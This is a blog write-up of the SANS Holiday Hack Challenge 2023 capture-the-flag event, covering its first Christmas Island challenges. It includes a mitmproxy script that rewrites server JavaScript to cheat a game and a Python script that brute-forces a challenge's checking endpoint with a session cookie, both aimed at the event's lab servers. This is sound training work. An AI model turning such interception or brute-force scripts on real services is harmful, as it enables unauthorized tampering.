← Back to blog

SANS Holiday Hack Challenge 2023

Hello and welcome to my 2023 SANS Holiday Hack Challenge write-up!

This year, Santa and his team relocated to Geese Islands, an island archipelago near the equator in the Pacific Ocean. They’re utilizing a new Artificial Intelligence tool called ChatNPT to prepare for the annual gift-giving extravaganza, and the elves seek our assistance in ensuring the appropriate application of ChatNPT.

The challenges are distributed across six geese-themed islands, inspired by the Six Geese A Laying Bell from the 12 Days of Christmas series/song. These challenges cover a wide range of topics, including AI-assisted cybersecurity, AI voice synthesis, cloud security, web application security, threat hunting in Windows Cloud, identifying vulnerabilities in space mission software packages, lock picking, phishing analysis, and Cyber Defense Azure AD configurations.

Let’s embark on our journey to Geese Islands!

hhc2023

Table of Contents

Solutions for each of the 24 objectives can be found on their respective islands at the links below. Alternatively, you can use the navigation links at the bottom of each page to move to the previous or next objective.

Objectives

Holiday Hack Orientation (Christmas Island) 🎄🎄🎄🎄🎄

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

Snowball Fight (Christmas Island) 🎄🎄🎄🎄🎄

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

Linux 101 (Christmas Island) 🎄🎄🎄🎄🎄

Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.

Reportinator (Christmas Island) 🎄🎄🎄🎄🎄

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

Azure 101 (Christmas Island) 🎄🎄🎄🎄🎄

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

Luggage Lock (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials

Linux PrivEsc (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Faster Lock Combination (Steampunk Island) 🎄🎄🎄🎄🎄

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Game Cartridges: Vol 1 (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island) 🎄🎄🎄🎄🎄

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island) 🎄🎄🎄🎄🎄

Find the third Gamegosling cartridge and beat the game

Na'an (Film Noir Island) 🎄🎄🎄🎄🎄

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

KQL Kraken Hunt (Film Noir Island) 🎄🎄🎄🎄🎄

Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Phish Detection Agency (Film Noir Island) 🎄🎄🎄🎄🎄

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

Hashcat (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

Elf Hunt (Pixel Island) 🎄🎄🎄🎄🎄

Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.

Certificate SSHenanigans (Pixel Island) 🎄🎄🎄🎄🎄

Go to Pixel Island and review Alabaster Snowball’s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

The Captain's Comms (Steampunk Island) 🎄🎄🎄🎄🎄

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

Active Directory (Steampunk Island) 🎄🎄🎄🎄🎄

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?

Space Island Door Access Speaker (Space Island) 🎄🎄🎄🎄🎄

There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

Camera Access (Space Island) 🎄🎄🎄🎄🎄

Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?

Missile Diversion (Space Island) 🎄🎄🎄🎄🎄

Thwart Jack’s evil plan by re-aiming his missile at the Sun.

BONUS! Fishing Guide 🎄🎄🎄🎄🎄

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

BONUS! Fishing Mastery 🎄🎄🎄🎄🎄

Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.

Christmas Island

Upon logging into the Holiday Hack Challenge 2023, we find ourselves on a ship in the vast expanse of the ocean! Navigating toward Christmas Island is our next mission, achievable by utilizing the arrow keys on the keyboard or the WASD keys. Positioned in the lower-left corner of the map, the island awaits our arrival. Let the maritime adventure begin!

map

There are three different ports available:

Port of Orientation

While exploring Christmas Island, we discover the Port of Orientation. Upon reaching it, a “Dock Now” option is presented to us.

docknow

When we make land, we obtain a new objective on arrival.

Holiday Hack Orientation (Christmas Island) 🎄🎄🎄🎄🎄

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

Holiday Hack Orientation

Holiday Hack Orientation (Christmas Island) 🎄🎄🎄🎄🎄

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

The dock featured Jingle Ringford to greet us!

dock

After speaking with Jingle Ringford, I received a fishing pole so I can fish on my boat!

fishingpole

When clicking on my star and going to “Items”, we can see it stored there!

fishingpole

Full Island (Zoomed Out)

zoom30

Following further conversation with Jingle Ringford, I received instructions to click on the Cranberry Pi Terminal. This action grants access to the orientation terminal challenge. In the SANS Holiday Hack, interactive terminals are provided for users to click on, initiating challenges directly in the browser.

accessterminal

Upon initiating the challenge, a tmux terminal is launched.

terminalcompletion

Typing answer and pressing ENTER earned us our first achievement!

Achievement

Congratulations! You have completed the Holiday Hack Orientation challenge!

Jingle Ringford

Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty’s Beach where Santa’s waiting for you. I’ve updated your boat’s compass to guide the way. As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.

Port of Frosty’s Beach

While exploring Christmas Island, we discover the Port of Frosty’s Beach. Upon reaching it, a “Dock Now” option is presented to us.

docknow

When we make land, we obtain more objectives on arrival.

Snowball Fight (Christmas Island) 🎄🎄🎄🎄🎄

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

Linux 101 (Christmas Island) 🎄🎄🎄🎄🎄

Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.

When we arrive at the dock, we arrive to meet Santa for the first time and the Goose of Christmas Island!

santa

When speaking with Santa, he wants us to have a snowball fight and provides us with our first hint!

Synthesis is the True Ending

The AI revolution has begun. Some of the most prominent and useful tools born from the advent of powerful AI include ChatGPT, PlayHT, Midjourney, Dall-E 3, Bing AI, and Bard, and Grok.

Throughout this years challenge, I used ChatGPT to enhance my code, find vulnerabilities, and even help with report writing! Some of the prompts used are documented.

Moving to the left of the dock, we see the vendor area with sponsors of Google, Microsoft, SANS, Amazon, SWAG store. There is also poster of HackSpaceCon and President’s Cup!

sponsors

Full Island (Zoomed Out)

zoom30

Snowball Fight

Snowball Fight (Christmas Island) 🎄🎄🎄🎄🎄

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

If we go to the left of Santa, we find Morcel Nougat close to a challenge.

snowball

When speaking with Morcel Nougat, we obtain the following hints:

Consoling iFrames

Have an iframe in your document? Be sure to select the right context before meddling with JavaScript.

Snowball Super Hero

Its easiest to grab a friend play with and beat Santa but tinkering with client-side variables can grant you all kinds of snowball fight super powers. You could even take on Santa and the elves solo!

After spawning the challenge we are presented with the following tutorial:

snowballstart

Analyzing JavaScript

To leverage the hints provided, we can use browser developer tools (F12) to interact with an iframe:

  1. Right-click the iframe and choose Inspect, or press CTRL + Shift + i (in Chrome).
  2. Go to the Console tab.
  3. Use the downward arrow to access the JavaScript console for the iframe.
  4. Modify JavaScript variables, allowing adjustments to various aspects of the iframe, including its current URL and URL parameters (window.location.href).

We can locate the main game code in the developer tools, retrieved from the URL: https://hhc23-snowball.holidayhackchallenge.com/room/.

developertools

By examining the JavaScript code, we can pinpoint several valuable variables that can be modified to maximize the benefits in our game.

lines 264-276
var snowballLiveTime = 2500
var snowballDmg = 2
var snowballSpeed = 500
var playersHitBoxSize = [30,30,40,60]
var elfHitBoxSize = [32,32,48,48]
var santaHitBoxSize = [60,60,70,70]
var player_healthbar_offset = {x:0,y:-90}
var myPlayerTint = 0xb3b3ff
var otherPlayerTint = 0xff9980
var santaObject
var santaThrowDelay = 500
var playersVelocity = 200
var gameOverText

We also discover that there is a single-player mode which can be modified by overriding a local storage variable named singlePlayer.

lines 117-128
var singlePlayer = "false"
  function checkAndUpdateSinglePlayer() {
    const localStorageValue = localStorage.getItem('singlePlayer');
    if (localStorageValue === 'true' || localStorageValue === 'false') {
      singlePlayer = String(localStorageValue === 'true');
    }
    const urlParams = new URLSearchParams(window.location.search);
    const urlValue = urlParams.get('singlePlayer');
    if (urlValue === 'true' || urlValue === 'false') {
      singlePlayer = String(urlValue === 'true');
    }
  }
lines 475-476
// jared ... I mean Elf the dwarf joins the fight when in single player mode
if (singlePlayer === 'true') {

Server-Side JavaScript Manipulation

We can customize the JavaScript server response by manually intervening through Burp Suite. Intercepting the server response grants the capability to edit the JavaScript content before it is delivered to the browser. This is accomplished by:

This is achieved by doing the following:

  • Uncheck Intercept requests based on the following rules: in the Proxy settings in Burp
  • Check Intercept responses based on the following rules: in the Proxy settings in Burp
  • Uncheck all options in the WebSocket interception rules in the Proxy settings in Burp
  • Specific the URL regex match condition under Response interception rules in the Proxy settings in Burp
regex
https\:\/\/hhc23\-snowball\.holidayhackchallenge\.com\/room\/.*

burpintercept

Manually modify data in the server response using Burp Interceptor.

"singlePlayer":"true"  // Single-player mode, Line 158
var elfThrowDelay = 10000;  // Elf throw speed, Line 244
var snowballDmg = 99999;  // Snowball damage overall, Line 265
var snowballSpeed = 1000;  // Snowball speed overall, Line 266
var santaThrowDelay = 10000;  // Santa throw speed, Line 274
var playersVelocity = 1000;  // Movement speed, Line 275

Server-Side JavaScript Manipulation with mitmproxy

We can also automate this by using mitmdump with a Python addon to automate the replacement:

mitm_snowballhero.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to intercept and manipulate HTTP server messages using mitmdump.
Usage: reset; sudo mitmdump -s mitm_snowballhero.py --listen-port 9000 --set flow_detail=0
Reference: https://mitmproxy.org/
Holiday Hack 2023 - Snowball Super Hero
"""

# Imports
from mitmproxy import http
from mitmproxy import ctx
import re

PRINT_ALL = False


def replace_str(flow, match_str, replace_val):
    """
    Replace the value of a variable in a JavaScript response.

    Args:
        flow (mitmproxy.http.HTTPFlow): The flow object.
        match_str (str): The string to find.
        replace_val: The replacement value.

    Returns:
        mitmproxy.http.HTTPFlow: The modified flow object.
    """

    # Regex Escape match
    match_str_regex = re.escape(match_str)

    # Comment line of code
    if isinstance(replace_val, str) and replace_val.startswith("//"):
        match_res = re.search(f"({match_str_regex}.*)", flow.response.text)
        if match_res:
            old_line = match_res.group(0)
            new_line = f"//{old_line}"
            flow.response.text = flow.response.text.replace(old_line, new_line)
            ctx.log.info(f"Replacement: '{old_line}' => '{new_line}'")
            return flow

    # Setting variable value
    match_res = re.search(f"(var\s*{match_str_regex}\s*=\s*.*)", flow.response.text)
    if match_res:
        old_line = match_res.group(0)
        if isinstance(replace_val, str):
            new_line = f'var {match_str} = "{replace_val}";'
        else:
            new_line = f"var {match_str} = {replace_val};"
        flow.response.text = flow.response.text.replace(old_line, new_line)
        ctx.log.info(f"Replacement: '{old_line}' => '{new_line}'")
        return flow

    # Refactor line of code
    if isinstance(match_str, str) and isinstance(replace_val, str):
        oldTxt = flow.response.text
        flow.response.text = oldTxt.replace(match_str, replace_val)
        if oldTxt != flow.response.text:
            ctx.log.info(f"Replacement: '{match_str}' => '{replace_val}'")
            return flow

    ctx.log.error(f"No match found for {match_str}")
    return flow


def response(flow: http.HTTPFlow):
    assert flow.response
    PRINT_ALL and ctx.log.info(f"Received response for url:{flow.request.url} and path:{flow.request.path}")
    if (
        flow.request.url.startswith("https://hhc23-snowball.holidayhackchallenge.com/room/")
        and "Content-Type" in flow.response.headers
        and "text/html" in flow.response.headers["Content-Type"].lower()
        and "Multiplayer Snowball Hero" in flow.response.text
    ):
        ctx.log.info(f"Attempting interception for url:{flow.request.url} and path:{flow.request.path}")
        flow = replace_str(flow, '"singlePlayer":"false"', '"singlePlayer":"true"')  # Single-player mode, Line 158
        flow = replace_str(flow, "elfThrowDelay", 10000)  # Elf throw speed, Line 244
        flow = replace_str(flow, "snowballDmg", 99999)  # Snowball damage overall, Line 265
        flow = replace_str(flow, "snowballSpeed", 1000)  # Snowball speed overall, Line 266
        flow = replace_str(flow, "santaThrowDelay", 10000)  # Santa throw speed, Line 274
        flow = replace_str(flow, "playersVelocity", 1000)  # Movement speed, Line 275

To enable SSL trust, add the mitmdump certificate to your browser by visiting http://mitm.it/. We also then need to setup FoxyProxy and point it to the mitmdump on port 9000. We can also point our browser directly to this proxy or combine it with Burp and set the upstream server to port 9000 for the specific host:

upstream

We can see it replaces the server-response successfully. Note, this opens TCP Port 9000 on execution.

mitm_snowballhero.py
reset; sudo mitmdump -s mitm_snowballhero.py --listen-port 9000 --set flow_detail=0
[16:05:15.643] Loading script mitm_snowballhero.py
[16:05:15.648] HTTP(S) proxy listening at *:9000.
[16:05:48.922][192.168.0.10:56032] client connect
[16:05:48.953][192.168.0.10:56032] server connect hhc23-snowball.holidayhackchallenge.com:443 (34.128.147.194:443)
[16:05:55.077] Replacement: '"singlePlayer":"false"' => '"singlePlayer":"true"'
[16:05:55.077] Replacement: 'var elfThrowDelay = 2000' => 'var elfThrowDelay = 10000;'
[16:05:55.078] Replacement: 'var snowballDmg = 2' => 'var snowballDmg = 99999;'
[16:05:55.078] Replacement: 'var snowballSpeed = 500' => 'var snowballSpeed = 1000;'
[16:05:55.078] Replacement: 'var santaThrowDelay = 500' => 'var santaThrowDelay = 10000;'
[16:05:55.079] Replacement: 'var playersVelocity = 200' => 'var playersVelocity = 1000;'

Single-Player Victory

In the single-player mode, a companion named ‘Elf the Dwarf’ joins us for the battle that assists drastically against the elves and Santa!

singleplayer1

After defeating Santa we obtain Victory!

defeat

Morcel Nougat congratulates us and we obtain an achievement!

victory

Achievement

Congratulations! You have completed the Snowball Fight challenge!

Linux 101

Linux 101 (Christmas Island) 🎄🎄🎄🎄🎄

Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.

I went over to Santa’s Surf Shack to the far south-west of the island from the Snowball Fight challenge.

surfshack

I found Ginger Breddie inside and close to a challenge.

inside

When we startup the challenge, it spins up a tmux terminal: The North Pole 🎁 Present Maker: All the presents on this system have been stolen by trolls. Capture trolls by following instructions here and 🎁’s will appear in the green bar below. Run the command “hintme” to receive a hint.

terminalstart

Type “yes” to begin:

yes

Perform a directory listing of your home directory to find a troll and retrieve a present!

elf@610a770f8ee0:~$ ls -la
total 68
drwxr-xr-x 1 elf  elf   4096 Dec  2 22:19 .
drwxr-xr-x 1 root root  4096 Dec  2 22:19 ..
-rw-r--r-- 1 elf  elf     28 Dec  2 22:19 .bash_history
-rw-r--r-- 1 elf  elf    220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 elf  elf   3105 Nov 20 18:04 .bashrc
-rw-r--r-- 1 elf  elf    807 Feb 25  2020 .profile
-rw-r--r-- 1 elf  elf    168 Nov 20 18:04 HELP
-rw-r--r-- 1 elf  elf     24 Dec  2 22:19 troll_19315479765589239
drwxr-xr-x 1 elf  elf  24576 Dec  2 22:19 workshop

Now find the troll inside the troll.

elf@610a770f8ee0:~$ cat troll_19315479765589239
troll_24187022596776786

Great, now remove the troll in your home directory.

elf@610a770f8ee0:~$ rm troll_19315479765589239

Print the present working directory using a command.

elf@610a770f8ee0:~$ pwd
/home/elf

Good job but it looks like another troll hid itself in your home directory. Find the hidden troll!

elf@610a770f8ee0:~$ ls -la
total 64
drwxr-xr-x 1 elf  elf   4096 Dec 15 03:45 .
drwxr-xr-x 1 root root  4096 Dec  2 22:19 ..
-rw-r--r-- 1 elf  elf     28 Dec  2 22:19 .bash_history
-rw-r--r-- 1 elf  elf    220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 elf  elf   3105 Nov 20 18:04 .bashrc
-rw-r--r-- 1 elf  elf    807 Feb 25  2020 .profile
-rw-r--r-- 1 elf  elf      0 Dec 15 03:45 .troll_5074624024543078
-rw-r--r-- 1 elf  elf    168 Nov 20 18:04 HELP
drwxr-xr-x 1 elf  elf  24576 Dec  2 22:19 workshop

Excellent, now find the troll in your command history.

elf@b0f5e926c755:~$ history | grep troll
    1  echo troll_9394554126440791
    4  cat troll_19315479765589239
    6  rm troll_19315479765589239
    10  history | grep troll

Find the troll in your environment variables.

elf@610a770f8ee0:~$ env | egrep -i troll
SESSNAME=Troll Wrangler
z_TROLL=troll_20249649541603754

Next, head into the workshop.

elf@610a770f8ee0:~$ cd workshop/
elf@610a770f8ee0:~/workshop$

A troll is hiding in one of the workshop toolboxes. Use “grep” while ignoring case to find which toolbox the troll is in.

elf@610a770f8ee0:~/workshop$ egrep -iR troll
toolbox_191.txt:tRoLl.4056180441832623

A troll is blocking the present_engine from starting. Run the present_engine binary to retrieve this troll.

elf@ca1a4211be41:~/workshop$ ./present_engine
bash: ./present_engine: Permission denied
elf@ca1a4211be41:~/workshop$ chmod +x present_engine
elf@ca1a4211be41:~/workshop$ ./present_engine
troll.898906189498077

Trolls have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

elf@ca1a4211be41:~/workshop$ cd electrical/
elf@ca1a4211be41:~/workshop/electrical$ mv blown_fuse0 fuse0

Now, make a symbolic link (symlink) named fuse1 that points to fuse0

elf@ca1a4211be41:~/workshop/electrical$ ln -fs fuse0 fuse1
elf@e504d279024f:~/workshop/electrical$ ls -la
total 20
drwxr-xr-x 1 elf elf 4096 Dec 15 04:05 .
drwxr-xr-x 1 elf elf 4096 Dec  2 22:19 ..
-rw-r--r-- 1 elf elf  200 Dec  2 22:19 fuse0
lrwxrwxrwx 1 elf elf    5 Dec 15 04:05 fuse1 -> fuse0

Make a copy of fuse1 named fuse2.

elf@ca1a4211be41:~/workshop/electrical$ cp fuse1 fuse2
elf@e504d279024f:~/workshop/electrical$ ls -la
total 24
drwxr-xr-x 1 elf elf 4096 Dec 15 04:05 .
drwxr-xr-x 1 elf elf 4096 Dec  2 22:19 ..
-rw-r--r-- 1 elf elf  200 Dec  2 22:19 fuse0
lrwxrwxrwx 1 elf elf    5 Dec 15 04:05 fuse1 -> fuse0
-rw-r--r-- 1 elf elf  200 Dec 15 04:05 fuse2

We need to make sure trolls don’t come back. Add the characters “TROLL_REPELLENT” into the file fuse2.

elf@ca1a4211be41:~/workshop/electrical$ echo 'TROLL_REPELLENT' >> fuse2

Find the troll somewhere in /opt/troll_den.

elf@ca1a4211be41:~/workshop/electrical$ cd /opt/troll_den/

elf@e504d279024f:~/workshop/electrical$ find /opt/troll_den -iname 'troll*'
/opt/troll_den
/opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018

Find the file somewhere in /opt/troll_den that is owned by the user troll.

elf@e504d279024f:~/workshop/electrical$ find /opt/troll_den/ -user troll
/opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411

Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.

elf@e504d279024f:~/workshop/electrical$ find /opt/troll_den/ -size +108k -size -110k
/opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724

List running processes to find another troll.

elf@e504d279024f:~/workshop/electrical$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init           1  0.0  0.0  20112 16508 pts/0    Ss+  04:03   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf        18326  0.2  0.0  31520 26752 pts/2    S+   04:34   0:00 /usr/bin/python3 /14516_troll

The 14516_troll process is listening on a TCP port. Use a command to have the only listening port display to the screen.

elf@e504d279024f:~/workshop/electrical$ netstat -panut | grep 18326
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN      18326/python3

The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last troll.

elf@e504d279024f:~/workshop/electrical$ curl http://localhost:54321
troll.73180338045875

Your final task is to stop the 14516_troll process to collect the remaining presents.

troll.73180338045875elf@e504d279024f:~/workshop/electrical$ kill -9 18326

Type “exit” to close…

exit
Achievement

Congratulations! You have completed the Linux 101 challenge!

Port of Rudolph’s Rest

While exploring Christmas Island, we discover the Port of Rudolph’s Rest. Upon reaching it, a “Dock Now” option is presented to us.

docknow

When we make land, we obtain more objectives on arrival.

Reportinator (Christmas Island) 🎄🎄🎄🎄🎄

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

Azure 101 (Christmas Island) 🎄🎄🎄🎄🎄

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

The dock featured the Goose of Christmas Island and Noal Boatie to greet us!

dock

Full Island (Zoomed Out)

zoom30

Reportinator

Reportinator (Christmas Island) 🎄🎄🎄🎄🎄

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

If we go to the middle of the island, we find Noal Boatie close to a challenge.

challenge

When speaking with Noal Boatie, we obtain the following hint:

Reportinator

I know AI sometimes can get specifics wrong unless the prompts are well written. Maybe chatNPT made some mistakes here.

When we startup the challenge, it spins up a Penetration Test Report:

pentestreport

I created a Python script for brute-forcing to unravel this challenge quickly:

reportinator_brute.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script attempts to bruteforce the correct reportinator result.
Holiday Hack 2023 - Reportinator
"""

# Imports
from utilities import *
import requests
from itertools import product
from random import shuffle

#########################################
# Main
if __name__ == "__main__":
    url = "https://hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com:443/check"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    cookies = {"ReportinatorCookieYum": "eyJ1c2VyaWQiOiI5YWY0MTIyYS0yNjE1LTQ4MzMtOTY2MS03YzM0MDkxMjRjOTYifQ.ZYUMHw._nqesOfGb1SYX6bSf7K7xxKLl-4"}

    # Generate all combinations and loop
    combinations = list(product([1, 0], repeat=9))
    shuffle(combinations)
    for combo in combinations:
        data = {
            "input-1": combo[0],
            "input-2": combo[1],
            "input-3": combo[2],
            "input-4": combo[3],
            "input-5": combo[4],
            "input-6": combo[5],
            "input-7": combo[6],
            "input-8": combo[7],
            "input-9": combo[8],
        }
        print(f"Attempt: {data}")

        response = requests.post(url, headers=headers, cookies=cookies, data=data)

        if response.status_code != 400 and "Failure" not in response.text:
            print(f"Good Response: {data}, Status: {response.status_code}, Text: {response.text}")
            exit()

    print("DONE!")
output
COMPLETED!
{'input-1': 0, 'input-2': 0, 'input-3': 1, 'input-4': 0, 'input-5': 0, 'input-6': 1, 'input-7': 0, 'input-8': 0, 'input-9': 1}

Findings #3, #6, and #9 are the invalid exaggerated findings in the report:

  • The report on #3 Remote Code Execution via Java Deserialization of Stored Database Objects lacks clarity on the successful attainment of Remote Code Execution and uses an impossibly high TCP port of 88555 from By intercepting HTTP request traffic on 88555/TCP. The actual maximum is 65535. Typically, achieving this involves blind exploitation with multiple gadget chains (e.g., CommonsCollections1-7) and ping-back commands, which was not demonstrated in the report.
  • The report on #6 Stored Cross-Site Scripting Vulnerabilities was invalid as it inaccurately attributes it to the encoding of input/output and sending of an HTTP SEND where there is not such thing as SEND. The actual issue resides in the parsing of unsafe input.
  • The report on #9 Internal IP Address Disclosure was invalid because the Location header is functioning as intended, reflecting the website’s location. Knowing an IP address in this context does not qualify as a vulnerability. In addition, the HTTP 7.4.33 request does not make any sense.

Once submitting our review, we get a completion:

Report Validation Complete

Great work! You’ve successfully navigated through the intricate maze of data, distinguishing the authentic findings from the AI hallucinations. Your diligence in validating the penetration test report is commendable.

Your contributions to ensuring the accuracy and integrity of our cybersecurity efforts are invaluable. The shadows of uncertainty have been dispelled, leaving clarity and truth in their wake. The findings you have authenticated will play a crucial role in fortifying our digital defenses.

We appreciate your expertise and keen analytical skills in this crucial task. You are a true asset to the team. Keep up the excellent work!

Achievement

“Congratulations! You have completed the Reportinator challenge!”

Azure 101

Azure 101 (Christmas Island) 🎄🎄🎄🎄🎄

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

If we go to the far left of the island, we also find Sparkle Redberry close to a challenge and started it up!

challenge

When speaking with Sparkle Redberry, we obtain the following hint:

Azure CLI Reference

The Azure CLI tools come with a builtin help system, but Microsoft also provides this handy cheatsheet.

When we startup the challenge, it spins up a tmux terminal: You may not know this but the Azure cli help messages are very easy to access. First, try typing: $ az help | less

azstartup

elf@3b93c88b5a50:~$ az help | less
Group
    az

Subgroups:
    account                     : Manage Azure subscription information.
    acr                         : Manage private registries with Azure Container Registries.
    ad                          : Manage Azure Active Directory Graph entities needed for Role Based Access Control.
    advisor                     : Manage Azure Advisor.
    aks                         : Manage Azure Kubernetes Services.
    ams               [Preview] : Manage Azure Media Services resources.
    apim              [Preview] : Manage Azure API Management services.
    appconfig         [Preview] : Manage App Configurations.
    appservice                  : Manage App Service plans.
    backup            [Preview] : Manage Azure Backups.
    batch                       : Manage Azure Batch.
    billing                     : Manage Azure Billing.
    bot                         : Manage Microsoft Azure Bot Service.
    cache             [Preview] : Commands to manage CLI objects cached using the `--defer` argument.
    cdn                         : Manage Azure Content Delivery Networks (CDNs).
    cloud                       : Manage registered Azure clouds.
    cognitiveservices           : Manage Azure Cognitive Services accounts.
    consumption       [Preview] : Manage consumption of Azure resources.
    container                   : Manage Azure Container Instances.
    cosmosdb                    : Manage Azure Cosmos DB database accounts.
    deployment                  : Manage Azure Resource Manager deployments at subscription scope.
    deploymentmanager [Preview] : Create and manage rollouts for your service.
    disk                        : Manage Azure Managed Disks.
    disk-encryption-set         : Disk Encryption Set resource.
    dla               [Preview] : Manage Data Lake Analytics accounts, jobs, and catalogs.
    dls               [Preview] : Manage Data Lake Store accounts and filesystems.
    dms                         : Manage Azure Data Migration Service (DMS) instances.
    eventgrid                   : Manage Azure Event Grid topics, event subscriptions, domains and domain topics.
    eventhubs                   : Manage Azure Event Hubs namespaces, eventhubs, consumergroups and geo recovery configurations - Alias.
    extension                   : Manage and update CLI extensions.
    feature                     : Manage resource provider features.
    functionapp                 : Manage function apps. To install the Azure Functions Core tools
    see https://github.com/Azure/azure-functions-core-tools.
    group                       : Manage resource groups and template deployments.
    hdinsight                   : Manage HDInsight resources.
    identity                    : Managed Service Identities.
    image                       : Manage custom virtual machine images.
    iot                         : Manage Internet of Things (IoT) assets.
    iotcentral                  : Manage IoT Central assets.
    keyvault                    : Manage KeyVault keys, secrets, and certificates.
    kusto                       : Manage Azure Kusto resources.
    lab               [Preview] : Manage Azure DevTest Labs.
    lock                        : Manage Azure locks.
    managedapp                  : Manage template solutions provided and maintained by Independent Software Vendors (ISVs).
    managedservices             : Manage the registration assignments and definitions in Azure.
    maps                        : Manage Azure Maps.
    mariadb                     : Manage Azure Database for MariaDB servers.
    monitor                     : Manage the Azure Monitor Service.
    mysql                       : Manage Azure Database for MySQL servers.
    netappfiles       [Preview] : Manage Azure NetApp Files (ANF) Resources.
    network                     : Manage Azure Network resources.
    openshift                   : Manage Azure Red Hat OpenShift Services.
    policy                      : Manage resource policies.
    postgres                    : Manage Azure Database for PostgreSQL servers.
    ppg                         : Manage Proximity Placement Groups.
    provider                    : Manage resource providers.
    redis                       : Manage dedicated Redis caches for your Azure applications.
    relay                       : Manage Azure Relay Service namespaces, WCF relays, hybrid connections, and rules.
    reservations      [Preview] : Manage Azure Reservations.
    resource                    : Manage Azure resources.
    role                        : Manage user roles for access control with Azure Active Directory and service principals.
    search            [Preview] : Manage Azure Search services, admin keys and query keys.
    security          [Preview] : Manage your security posture with Azure Security Center.
    servicebus                  : Manage Azure Service Bus namespaces, queues, topics, subscriptions, rules and geo-disaster recovery configuration alias.
    sf                [Preview] : Manage and administer Azure Service Fabric clusters.
    sig                         : Manage shared image gallery.
    signalr                     : Manage Azure SignalR Service.
    snapshot                    : Manage point-in-time copies of managed disks, native blobs, or other snapshots.
    sql                         : Manage Azure SQL Databases and Data Warehouses.
    storage                     : Manage Azure Cloud Storage resources.
    tag                         : Manage resource tags.
    vm                          : Manage Linux or Windows virtual machines.
    vmss                        : Manage groupings of virtual machines in an Azure Virtual Machine Scale Set (VMSS).
    webapp                      : Manage web apps.

Commands:
    configure                   : Manage Azure CLI configuration. This command is interactive.
    feedback                    : Send feedback to the Azure CLI Team!
    find                        : I'm an AI robot, my advice is based on our Azure documentation as well as the usage patterns of Azure CLI and Azure ARM users. Using me improves Azure products and documentation.
    interactive       [Preview] : Start interactive mode. Installs the Interactive extension if not installed already.
    login                       : Log in to Azure.
    logout                      : Log out to remove access to Azure subscriptions.
    rest                        : Invoke a custom request.
    version           [Preview] : Show the versions of Azure CLI modules and extensions in JSON format by default or format configured by --output.

Please let us know how we are doing: https://aka.ms/clihats

